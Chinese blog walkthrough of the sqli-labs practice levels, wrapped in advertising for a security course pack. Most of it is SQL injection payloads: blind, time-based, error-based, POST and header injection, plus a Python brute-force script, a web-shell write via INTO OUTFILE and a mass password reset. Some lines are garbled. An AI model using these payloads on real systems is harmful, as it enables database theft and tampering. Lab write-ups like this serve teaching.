网络安全最全Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs,OMG学它

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行

所以ascii码为115,第一位字母为s

用脚本跑

import requests as req
url = 'http://www.wangehacker.cn/sqli-labs/Less-6/?id=1'
res = ''
select = "select database()"
for i in range(1, 100):
    for ascii in range(32, 128):
        id = '1" and ascii(substr(({}),{},1))={}%23'.format(select, i, ascii)
        r = req.get(url+id)
        print(url+id)
        if "You are in" in r.text:
            res += chr(ascii)
            print(res)
            break
        if ascii == 127:
            print('{}'.format(res))
            exit(0)

得到库名:security

③走流程

只要修改脚本中的select语句即可

select group_concat(table_name) from information_schema.tables where table_schema=‘security’

select group_concat(column_name) from information_schema.columns where table_schema=‘security’

select group_concat(username,password)from users

Less-7 文件导出

文件导出的方式进行注入

https://www.cnblogs.com/c1047509362/p/12356354.html

①判断闭合

手工测试?id=1’)) and 1=1–+成功

所以是’))闭合

②猜列数

?id=1’)) order by 3–+ 列数为3

③导入一句话木马

?id=-1’)) union select 1,2,‘’ into outfile “C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php” --+

虽然提示报错,但是我们发现已经存在文件test.php了

④连菜刀

中国菜刀进行连接,输入我们写的文件路径,密码是wlw

成功进入

Less-8 布尔盲注/时间盲注

'闭合

这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

①判断是否有延时

id=1’ and sleep(5) --+

发现确实有延时,可以用时间盲注

② 爆库长

?id=1’ and if(length(database())=8,sleep(5),null)–+

③爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+

?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+

security

或者: ?id=1’ and if((select (substr(database(),1,1))=“s”) ,sleep(5), null)–+

③爆表名

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)–+

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)=‘em’ ,sleep(5),null)–+

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)=‘ema’ ,sleep(5),null)–+

database() 如果不想写,可以写security的hex值

表名:emails

或者:

id=1’ and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)=‘e’,sleep(5),null) --+

④爆列名

?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit *,1),*)=‘password’ ,sleep(5),null)–+

其中*需要逐个尝试

Less-9 时间盲注

'闭合

见Less-8

经过多次尝试,返回值均为You are in …

没有显示位,错误也不会告诉你

所以只能时间盲注

Less-10 时间盲注

同Less-9,"闭合

Less-11 post注入

前十关使用的是get请求,参数都体现在url上面

而从十一关开始是post请求,参数是在表单里面

我们可以直接在输入框进行注入或者bp抓包

①BP抓包,send to repater

②判断闭合方式

admin’报错,admin’ #不报错,所以是’闭合

③判断回显位置

’ union select 1,2 #

④爆库名

’ union select 1,database() #

⑤爆表名

’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

表名:emails,referers,uagents,users

⑤爆列名

’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ #

列名:id,username,password

⑥爆数据

’ union select 1,group_concat(username,password) from users #

Less-12 post注入

")闭合 有回显

同Less-11

Less-13 post盲注

')闭合 无回显

①猜闭合方式

admin’

报错near ‘111’) LIMIT 0,1’ at line 1

说明是’)闭合

输入’) # 或’) or 1=1 #

却发现,页面没有回显,考虑使用报错注入、布尔盲注或者时间盲注

这里讲报错盲注,(布尔盲注不知道为什么不行…时间盲注见Less-15)

sqli-labs第十三和十四关(post请求-报错盲注)_sql注入第13关_mmmmcq的博客-CSDN博客_sql注入第13关_mmmmcq的博客-CSDN博客")

③爆字段数

1’) order by 3#报错

1’) order by 2#无回显

所以字段数为2

④爆库名

1’) union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

库名:security

⑤爆表名

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’),0x7e),1)#

表名:emails,referers,uagents,users

⑥爆列名

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),0x7e),1)#

列名:id,username,password

⑦爆数据

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Less-14 post盲注

同Less-13

admin"报错,admin"#无回显

所以是"闭合

布尔盲注好像不能用

可以用时间盲注见Less-15

Less-15 时间盲注

'闭合

①测试

用admin’、admin" 、admin’ and 1=2# 进行测试,发现都不返回错误信息

②判断是否有延时

admin’ and sleep(5) #

发现确实有延时,可以用时间盲注

③爆库长

admin’ and if(length(database())=8,sleep(5),null) #

④爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

admin’ and if(left(database(),1)=‘s’,sleep(5),null) #

admin’ and if(left(database(),2)=‘se’,sleep(5),null) #

security

或者admin’ and if(ascii(substr(database(),0,1))=115,1,sleep(5))#

或者admin’ and if((select (substr(database(),1,1))=“s”) ,sleep(5), null)#

⑤爆表名

admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)#

admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)=‘em’ ,sleep(5),null)#

admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)=‘ema’ ,sleep(5),null)#

Less-16 时间盲注

同Less-15,")闭合

Less-17 修改密码

(本题危害比较大)

update users set password=‘ p ′   w h e r e   u s e r n a m e = ′ p' where username=' p where username=u’

update users set password=‘’ or 1=1 #’ where username=‘admin’

admin

’ or 1=1 #

会把数据库所有密码都改为1

update users set password=1

前十六道题都很简单没有什么过滤的方法,直到这关开始有绕过

https://www.cnblogs.com/unknown27/articles/16823537.html

①爆库名

admin

1’ and updatexml(1,concat(0x7e,database(),0x7e),1) #

库名:security

②爆表名

1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’),0x7e),1)#

表名:emails,referers,uagents,users

③爆列名

1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),0x7e),1)#

列名:id,username,password

④爆数据

1’ and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Less-18 user-agent头注入

user-agent

insert into ‘security’.‘某个表’(uagent,ipadd,username) values(‘浏览器信息’,‘ip地址’,‘用户名’)

i n s e r t = " i n s e r t   i n t o ′ s e c u r i t y ′ . ′ u a g e n t s ′ ( ′ u a g e n t ′ , ′ i p _ a d d r e s s ′ , ′ u s e r n a m e ′ ) v a l u e s ( ′ insert="insert into 'security'.'uagents' ('uagent', 'ip\_address', 'username') values (' insert="insert intosecurity.uagents(uagent,ip_address,username)values(uagent’, ‘$IP’, $uname)";

输入正确的用户名密码admin admin,会返回代理信息user-agent

所以uagents的数据是会写入数据库再输出的,这是我们得以成功注入的关键

(用户名密码正确才能把头注入写入后台数据库,所以前提是登录进去了)

抓包修改请求包的User Agent

关键是闭合前后的语句

sqli-labs(18-23关)_sql18关_cyphersec的博客-CSDN博客_sql18关_cyphersec的博客-CSDN博客")

①判断闭合方式

在username和password处尝试注入均被转义,无法注入

在user-agent后测试发现

'报错

’ and ‘1’='1正确

所以是’闭合

②爆库名

’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ‘1’='1

’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’='1

库名:security

③爆表名

insert into ‘security’.‘某个表’(uagent,ipadd,username) values(‘’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’=‘1’,‘ip地址’,‘用户名’)

’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =database()),0x7e),1) and ‘1’='1

'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and ’

表名:emails,referers,uagents,users

④爆列名

'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database()),0x7e)) and ’

列名:id,username,password

⑤爆数据

’ and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and ‘1’='1

Less-19 referer头注入

来路流量(你是从哪个地方来的)

输入正确的用户名密码admin admin,会返回referer

走流程

’ and extractvalue(1,concat(0x7e,(select database()))) and ‘1’='1

'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and ’

'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database()),0x7e)) and ’

‘and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users),0x7e)) and’

Less-20 cookie头注入

输入正确的用户名密码admin admin,会返回cookie

①判断闭合方式

admin’报错

admin’ and ‘1’='1正确

为’闭合

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 30
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值